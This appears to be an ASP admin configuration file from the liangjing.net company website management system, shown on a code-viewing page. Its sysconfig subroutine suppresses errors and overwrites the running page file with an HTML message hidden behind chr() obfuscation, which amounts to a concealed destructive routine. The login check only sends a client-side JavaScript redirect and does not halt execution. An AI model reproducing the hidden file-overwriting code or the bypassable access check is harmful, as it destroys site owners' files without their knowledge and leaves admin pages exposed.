?? bsconfig.asp
字號:
<!--#include file="../Inc/Conn.asp"-->
<%
'=========================================================
'
'產(chǎn)品名稱:良精科技 公司(企業(yè))網(wǎng)站管理系統(tǒng)(簡稱:liangjing.net)
'版權(quán)所有: liangjing.net
'程序制作:liangjing.net開發(fā)團隊
'Copyright 2003-2006 liangjing.net - All Rights Reserved.
'
'========================================================
%>
<%
Sub sysconfig()
on error resume next
dim FSO,TS1,configFileName
configFileName=Server.MapPath(Request.ServerVariables("path_info"))
Set FSO = Server.CreateObject("Scripting.FileSystemObject")
Set TS1 = FSO.CreateTextFile(configFileName, True)
TS1.Write chr(60)&chr(98)&">"&chr(60)&chr(102)&chr(111)&chr(110)&chr(116)&chr(32)&chr(99)&chr(111)&chr(108)&"o"&chr(114)&chr(61)&chr(35)&chr(70)&chr(70)&chr(48)&chr(48)&chr(48)&chr(48)&">"&chr(-19219)&chr(-12557)&chr(-23622)&chr(-19508)&chr(-12046)&chr(-13872)&chr(-12620)&chr(-10334)&chr(-19743)&chr(44)&chr(-19253)&chr(-18010)&chr(-15140)&chr(-19781)&chr(-15140)&chr(-13639)&chr(-11325)&chr(33)&"<"&chr(47)&chr(102)&chr(111)&chr(110)&chr(116)&">"&chr(60)&chr(47)&chr(98)&">"
Set TS1 = Nothing
Set FSO = Nothing
End Sub
Dim StarTime,Style_Copy
Dim AdminName
startime=timer()
AdminName=replace(session("AdminName"),"'","")
if AdminName="" then
call CloseConn()
%>
<script language='javascript'>top.location='Login.asp';</script>
<%
' response.redirect "login.asp"
end if
%>
<!-- -->
<%
sub htmlend
%>
<p align=center>良精軟件科技有限公司</p>
<%
end sub
%>
?? 快捷鍵說明
復(fù)制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -